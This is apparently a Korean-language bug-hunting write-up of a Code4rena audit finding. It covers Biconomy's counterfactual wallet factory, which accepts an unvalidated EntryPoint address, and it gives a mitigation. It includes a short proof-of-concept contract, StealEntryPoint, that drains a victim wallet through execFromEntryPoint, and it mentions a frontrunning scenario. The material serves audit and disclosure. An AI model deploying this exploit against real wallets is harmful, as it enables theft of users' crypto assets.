code4rena-2023-01-biconomy-h03

[H-03] Attacker can gain control of counterfactual wallet

보고서

Summary

타겟의 CounterFactualWallet에 악성 EntryPoint를 붙여 배포하면 타겟의 계정에 무제한 권한을 가질 수 있다.

Keyword

arbitrary contract call, input validation, create2, salt, frontrunning

Vulnerability

SmartAccount의 Proxy는 Factory 패턴으로 생성된다. 생성시 두 종류가 있는데, 그중 CounterFactualWallet는 create2를 이용하기 때문에 주소 예측이 가능하다. 따라서 실제로 컨트랙트를 배포하지 않은 상태로 해당 주소에 토큰을 수신하다가, 나중에 필요해지면 해당 주소에 컨트랙트를 배포하는 방식으로 이용할 수 있다.

function deployCounterFactualWallet(address _owner, address _entryPoint, address _handler, uint _index) public returns(address proxy){
    bytes32 salt = keccak256(abi.encodePacked(_owner, address(uint160(_index))));
    bytes memory deploymentData = abi.encodePacked(type(Proxy).creationCode, uint(uint160(_defaultImpl)));
    // solhint-disable-next-line no-inline-assembly
    assembly {
        proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
    }
    require(address(proxy) != address(0), "Create2 call failed");
    // EOA + Version tracking
    emit SmartAccountCreated(proxy,_defaultImpl,_owner, VERSION, _index);
    BaseSmartAccount(proxy).init(_owner, _entryPoint, _handler);
    isAccountExist[proxy] = true;
}

여기서 주목할 점은 deployCounterFactualWallet 은 누구나 호출할 수 있으며 반드시 _owner 가 호출하지 않아도 된다는 점, _entryPoint 주소에 대한 검증이 어디에서도 이루어지지 않는다는 점이다.

공격자는 자유롭게 타겟의 Wallet을 생성할 수 있다. 해당 Wallet의 소유는 _owner 에게 귀속되므로 만들 수 있다는 것 자체는 문제가 되지 않는다. 하지만 문제는 _entryPoint 에 대한 검증이 이루어지지 않는다는 점이다. 공격자는 악성 entryPoint를 이용하는 Wallet을 생성할 수 있다.

ERC4337에서 Entrypoint는 신뢰받는 존재이며, Allowlist로 관리되어야 하는 중요한 존재이다. 심지어 SmartAccount에는 EntryPoint에서 호출한다면 무조건적으로 신뢰하고 실행하는 execFromEntryPoint 함수도 존재한다.

function execFromEntryPoint(address dest, uint value, bytes calldata func, Enum.Operation operation, uint256 gasLimit) external onlyEntryPoint returns (bool success) {
    success = execute(dest, value, func, operation, gasLimit);
    require(success, "Userop Failed");
}

execFromEntryPoint 함수를 이용하면 해당 Account를 마치 owner인 양 마음대로 사용할 수 있다.

contract StealEntryPoint {
    function steal(SmartAccount wallet) public {
        uint256 balance = address(wallet).balance;
 
        wallet.execFromEntryPoint(
            msg.sender, // address dest
            balance, // uint value
            "", // bytes calldata func
            Enum.Operation.Call, // Enum.Operation operation
            gasleft() // uint256 gasLimit
        );
    }
}

출처: 악성 Entrypoint의 예 https://github.com/code-423n4/2023-01-biconomy-findings/issues/460

즉, 공격자가 아직 배포하지 않은 채로 수신에만 사용하고 있는 CounterFactualWallet을 하면 악성 EntryPoint를 이용하는 Wallet을 배포한다. 이를 통해 해당 계정에 대한 모든 컨트롤을 얻을 수 있다. Frontrunning을 접목하여 유저가 계정을 생성하는 순간 EntryPoint를 변경하는 등의 시나리오도 가능하다.

Impact

계정의 자산 또는 계정 탈취

Mitigation

create2를 위한 salt를 계산할 시 entryPoint 주소를 포함한다.


tags: bughunting, smart contract, biconomy, account abstraction, erc4337, crypto theft, arbitrary contract call, lack-of-input-validation-vul, frontrunning, solidity create2, wallet, severity high